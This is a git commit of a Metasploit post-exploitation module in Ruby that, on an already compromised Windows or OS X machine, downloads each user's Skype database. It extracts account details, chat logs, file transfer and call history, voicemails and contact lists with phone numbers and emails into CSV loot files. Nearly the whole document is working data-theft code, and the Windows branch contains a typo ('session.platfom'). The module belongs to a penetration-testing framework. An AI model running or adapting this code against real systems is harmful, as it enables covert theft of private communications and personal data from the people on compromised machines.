Merge branch 'darkoperator-skype_enum'
This commit is contained in:
sinn3r
commit
93a2e29ed7
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##
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# $Id$
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##
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##
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# ## This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex'
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require 'csv'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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require 'msf/core/post/windows/user_profiles'
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require 'msf/core/post/osx/system'
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class Metasploit3 < Msf::Post
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Post::Windows::UserProfiles
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include Msf::Post::OSX::System
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Multi Gather Skype User Data Enumeration',
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'Description' => %q{
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This module will enumerate the Skype accounts settings, contact list, call history, chat logs,
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file transfer history and voicemail log saving all the data in to CSV files for analysis.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows', 'osx' ],
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'SessionTypes' => [ 'meterpreter', 'shell' ]
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))
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register_advanced_options(
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[
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# Set as an advanced option since it can only be useful in shell sessions.
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OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]),
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], self.class)
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end
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# Run Method for when run command is issued
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def run
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# syinfo is only on meterpreter sessions
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print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
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# Ensure that SQLite3 gem is installed
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begin
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require 'sqlite3'
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rescue LoadError
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print_error("Failed to load sqlite3, try 'gem install sqlite3'")
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return
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end
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if (session.platform =~ /java/) || (session.platform =~ /osx/)
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# Make sure a Java Meterpreter on anything but OSX will exit
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if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
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print_error("This session type and platform are not supported.")
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return
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end
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# Iterate thru each user profile on as OSX System for users not in the default install
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users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact
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users.each do |p|
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if check_skype("#{p['dir']}/Library/Application Support/", p['name'])
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db_in_loot = download_db(p)
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# Exit if file was not successfully downloaded
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return if db_in_loot.nil?
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process_db(db_in_loot,p['name'])
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end
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end
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elsif (session.platfom =~ /win/ and session.type =~ /meter/)
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# Iterate thru each user profile in a Windows System using Meterpreter Post API
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grab_user_profiles().each do |p|
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if check_skype(p['AppData'],p['UserName'])
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db_in_loot = download_db(p)
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process_db(db_in_loot,p['UserName'])
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end
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end
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else
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print_error("This session type and platform are not supported.")
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end
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end
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# Check if Skype is installed. Returns true or false.
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def check_skype(path, user)
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dirs = []
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if session.type =~ /meterpreter/
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session.fs.dir.foreach(path) do |d|
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dirs << d
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end
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else
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dirs = cmd_exec("ls -m \"#{path}\"").split(", ")
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end
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dirs.each do |dir|
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if dir =~ /Skype/
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print_good("Skype account found for #{user}")
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return true
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end
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end
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print_error("Skype is not installed for #{user}")
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return false
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end
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# Download file using Meterpreter functionality and returns path in loot for the file
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def download_db(profile)
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if session.type =~ /meterpreter/
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if sysinfo['OS'] =~ /Mac OS X/
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file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
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else
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file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)
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end
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else
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file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact
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end
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file_loc = store_loot("skype.config",
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"binary/db",
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session,
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"main.db",
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"Skype Configuration database for #{profile['UserName']}"
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)
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file.each do |db|
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if session.type =~ /meterpreter/
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maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
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print_status("Downloading #{maindb}")
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session.fs.file.download_file(file_loc,maindb)
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else
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print_status("Downloading #{db}")
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# Giving it 1:30 minutes to download since the file could be several MB
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maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT'])
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if maindb.nil?
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print_error("Could not download the file. Set the TIMEOUT option to a higher number.")
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return
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end
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# Saving the content as binary so it can be used
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output = ::File.open(file_loc, "wb")
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maindb.each_line do |d|
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output.puts(d)
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end
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output.close
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end
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print_good("Configuration database saved to #{file_loc}")
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end
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return file_loc
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end
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# Saves rows returned from a query to a given CSV file
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def save_csv(data,file)
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CSV.open(file, "w") do |csvwriter|
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data.each do |record|
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csvwriter << record
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end
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end
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end
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# Extracts the data from the DB in to a CSV file
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def process_db(db_path,user)
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db = SQLite3::Database.new(db_path)
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# Extract information for accounts configured in Skype
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print_status("Enumerating accounts")
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user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
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"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
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datetime("timestamp","unixepoch")"registration_timestamp",
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"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
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"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
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"birthday", "gender", "languages", "country", "province", "city", "phone_home",
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"phone_office", "phone_mobile", "emails", "homepage", "about",
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datetime("profile_timestamp","unixepoch"), "received_authrequest",
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"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
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"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
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"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
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"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
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"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
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datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
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"verified_email", "verified_company" FROM Accounts;')
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# Check if an account exists and if it does enumerate if not exit.
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if user_rows.length > 1
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user_info = store_loot("skype.accounts",
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"text/plain",
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session,
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"",
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"skype_accounts.csv",
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"Skype User #{user} Account information from configuration database."
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)
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print_good("Saving account information to #{user_info}")
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save_csv(user_rows,user_info)
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else
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print_error("No skype accounts are configured for #{user}")
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return
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end
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# Extract chat log from the database
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print_status("Extracting chat message log")
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cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
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datetime("timestamp","unixepoch"), "body_xml",
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"remote_id" FROM "Messages" WHERE type == 61;')
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chat_log = store_loot("skype.chat",
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"text/plain",
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session,
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"",
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"skype_chatlog.csv",
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"Skype User #{user} chat log from configuration database."
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)
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if cl_rows.length > 1
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print_good("Saving chat log to #{chat_log}")
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save_csv(cl_rows, chat_log)
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else
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print_error("No chat logs where found!")
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end
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# Extract file transfer history
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print_status("Extracting file transfer history")
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ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
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datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
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"filepath", "filename", "filesize", "bytestransferred",
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"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
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file_transfer = store_loot("skype.filetransfer",
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"text/csv",
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session,
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"",
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"skype_filetransfer.csv",
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"Skype User #{user} file transfer history."
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)
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# Check that we have actual file transfers to report
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if ft_rows.length > 1
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print_good("Saving file transfer history to #{file_transfer}")
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save_csv(ft_rows, file_transfer)
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else
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print_error("No file transfer history was found!")
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end
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# Extract voicemail history
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print_status("Extracting voicemail history")
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vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
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"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
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"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
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"size", "path", "xmsg" FROM "Voicemails";')
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voicemail = store_loot("skype.voicemail",
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"text/csv",
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session,
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"",
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"skype_voicemail.csv",
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"Skype User #{user} voicemail history."
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)
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if vm_rows.length > 1
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print_good("Saving voicemail history to #{voicemail}")
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save_csv(vm_rows, voicemail)
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else
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print_error("No voicemail history was found!")
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end
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# Extracting call log
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print_status("Extracting call log")
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call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
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"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
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"is_incoming", "is_conference", "is_on_hold",
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datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
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"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
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call_log = store_loot("skype.callhistory",
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"text/csv",
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session,
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"",
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"skype_callhistory.csv",
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"Skype User #{user} call history."
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)
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if call_rows.length > 1
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print_good("Saving call log to #{call_log}")
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save_csv(call_rows, call_log)
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else
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print_error("No call log was found!")
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end
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# Extracting contact list
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print_status("Extracting contact list")
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ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
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"birthday", "languages", "country", "province", "city", "phone_home",
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"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
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"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
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"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
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"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
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"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
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"main_phone", "phone_home_normalized", "phone_office_normalized",
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"phone_mobile_normalized", "verified_email", "verified_company"
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FROM "Contacts";')
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contact_log = store_loot("skype.contactlist",
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"text/csv",
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session,
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"",
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"skype_contactlist.csv",
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"Skype User #{user} contact list."
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)
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if ct_rows.length > 1
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print_good("Saving contact list to #{contact_log}")
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save_csv(ct_rows, contact_log)
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end
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end
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end
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